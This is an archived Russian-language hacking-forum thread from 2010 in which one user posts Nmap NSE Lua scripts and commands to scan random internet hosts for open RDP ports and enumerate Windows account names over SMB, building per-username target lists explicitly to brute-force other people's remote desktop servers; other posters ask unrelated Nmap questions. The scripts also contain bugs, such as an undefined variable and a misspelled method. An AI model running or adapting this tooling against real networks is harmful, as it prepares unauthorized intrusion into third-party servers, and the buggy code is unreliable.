PDA

Просмотр полной версии : Скрипты nmap


PabloPicasso
02.02.2010, 11:40
Вот почему большинство обитателей форумов по сет. безопасности не используют функционал nmap скриптов?

drim
02.02.2010, 11:41
а вы их используете? если да, то интересно послушать какие...

PabloPicasso
02.02.2010, 11:44
а вы их используете? если да, то интересно послушать какие...
в данный момент smb-enum-users.nse, дописав пару строчек кода он создает файлы вида [user].txt и складывает в них хосты с обнаруженным T:3389 предварительно определив имена пользователей 2-мя способами.

для брута дедиков просто сказка )

PabloPicasso
02.02.2010, 20:54
например задались вопросом отпарсить IP-шки с вывода сканирования 3389 порта RDP в 1 файл...
легко, пишем:

ips.nse
-- напишем описание
description = [[
Создает список IP в файл исходя из параметров порта 3389.
]]

-- укажем автора
author = "ROleg aka PabloPicasso"

-- укажем условия использования =)
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"

-- категории к которым относится скрипт
categories = {"discovery"}

-- укажем необходимые либы для роботы с портами
require "shortport"

-- оброботка action начнется если portrule будет правдой
-- т.е. если порт_или_сервис будут 3389, ms-term-serv
portrule = shortport.port_or_service(3389, "ms-term-serv")

-- выполняем основные действия
-- примем на входе хост и порт
action = function(host, port)
-- откроем файл ip.txt для записи с добавлением (а+)
file = io.open ("ip.txt","a+")
-- добавим в очередь записи айпишку
file:write (host.ip.."\n")
-- запишем в файл
file:flash()
-- закроем файл
file:close()

end


нечего сложного, единственная проблема что для сканера есть рус. документация http://nmap.org/man/ru/ а для скриптового движка только на англ. http://nmap.org/book/nse.html

запускаем: nmap -iR 0 -n -PS 3389 -p T:3389 --script=ips.nse
и получили шустрый многопоточный сканер RDP по всему инету с кучей опций сканирования.

PabloPicasso
03.02.2010, 15:10
продолжим дальше, хотим создать списки для брута RDP используя реальные имена пользователей на атакуемой системе, в этом нам помогут SMB и RPC библиотеки NMAP:

rdp-to-users.nse

description = [[
1. Резолвим пользователей 2-мя способами через lsa и samr
средствами SMB сервиса проверяемой системы.
2. При доступности открытого 3389 порта создаем файлы вида
[username].txt и записываем туда айпишки серверов имеющих такой аккаунт.
]]


author = "ROleg aka PabloPicasso"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery"}

require 'msrpc'
require 'smb'
require 'stdnse'
require 'comm'
require 'shortport'


-- укажем условие хоста, функция smb.get_port()
-- ищет комбинацию открытых портов
-- для доступа к SMB сервису обычно 139 либо поверх 445 порта
-- если найдены порты, открыты, делаем action
hostrule = function(host)
return smb.get_port(host) ~= nil
end


-- примем на входе хост
action = function(host)

-- об'явим необходимые переменные
-- i и j пригодятся для циклов for
local i, j
-- определим статусные переменные
local samr_status = false
local lsa_status = false
-- и для результата
local samr_result = ""
local lsa_result = ""
-- массивы имен пользователей
local names = {}
local names_lookup = {}
-- массив для сообщений на экран
local response = {}

-- т.к. нам важно чтобы был открыт 3389 порт,
-- будем проверять чтобы лишний раз не выполнять основное тело скрипта
if (shortport.port_or_service(3389, "ms-term-serv")) then

-- Пробуем получить информацию при помощи SAMR.
samr_status, samr_result = msrpc.samr_enum_users(host)

-- если получилось
if(samr_status) then
-- от 1 до #samr_result по одному =)
for i = 1, #samr_result, 1 do
-- заносим в массив names[] полученные результаты
table.insert(names, samr_result[i])
-- будем избавляется от дубликатов
names_lookup[samr_result[i]['name']] = true
end
end

-- Пробуем получить информацию через LSA.
lsa_status, lsa_result = msrpc.lsa_enum_users(host)

if(lsa_status) then
for i = 1, #lsa_result, 1 do
if(lsa_result[i]['name'] ~= nil) then
-- проверим нет ли уже у нас такого имени
if(not(names_lookup[lsa_result[i]['name']])) then
-- заносим в массив names[] полученные результаты
table.insert(names, lsa_result[i])
end
end
end
end

-- Если все способы не сработали
if(samr_status == false and lsa_status == false) then
-- и если ответом было ACCESS_DENIED
if(string.find(lsa_result, 'ACCESS_DENIED')) then
return stdnse.format_output(false, "Доступ ограничен настройками политик")
end

return stdnse.format_output(false, {"Невозможно определить имена пользователей", "SAMR вернул " .. samr_result, "LSA вернул " .. lsa_result})
end

-- Делаем сортировку
table.sort(names, function (a, b) return string.lower(a.name) < string.lower(b.name) end)

-- Проверим есть ли имена в массиве
if(#names == 0) then
table.insert(response, "Скрипт не получил имен, извините!")
else

-- Запишем айпишки серверов в файлы, для каждого пользователя в свой
local names = {}
for _, info in ipairs(domain_users) do

file = io.open (info['name']..".txt","a+")
file:write (host.ip.."\n")
file:flush()
file:close()

table.insert(names, info['name'])
end

-- Выводим на стандартный выход результаты работы
table.insert(response, string.format("Users: %s", stdnse.strjoin(", ", names)))
end

end

return stdnse.format_output(true, response)
end


брутить по спискам Administrator.txt, Admin.txt, root.txt или Вася.txt намного проще чем перебирать все возможные логины брутом =)
но есть свои минусы, не везде включены SMB службы (

заходим например в диррикторию users_ip_to_brute: cd users_ip_to_brute
выполняем: nmap -iR 0 -n -sU -sS -PS137,139,445,3389 -p U:137,T:139,445,3389 --script=rdp-to-users.nse
ждем, брутим...

k0xy
08.02.2010, 18:46
Немного не по теме, но хотелось бы узнать, в nmap есть возможность массового сканирования хостов? То бишь конкретнее у меня есть список хостов, к примеру и мне нужно просканировать сервисы, которые там установлены. Так-то юзаю XSpider, но nmap серьезнее все таки.

InFlame
08.02.2010, 19:19
Щас всё и вся с Питоном скрещивают. Было б неплохо, если nmap поддерживал скрипты на Python. =)

PabloPicasso
10.02.2010, 15:12
to k0xy, конечно nmap -iL <имя_входного_файла> -sV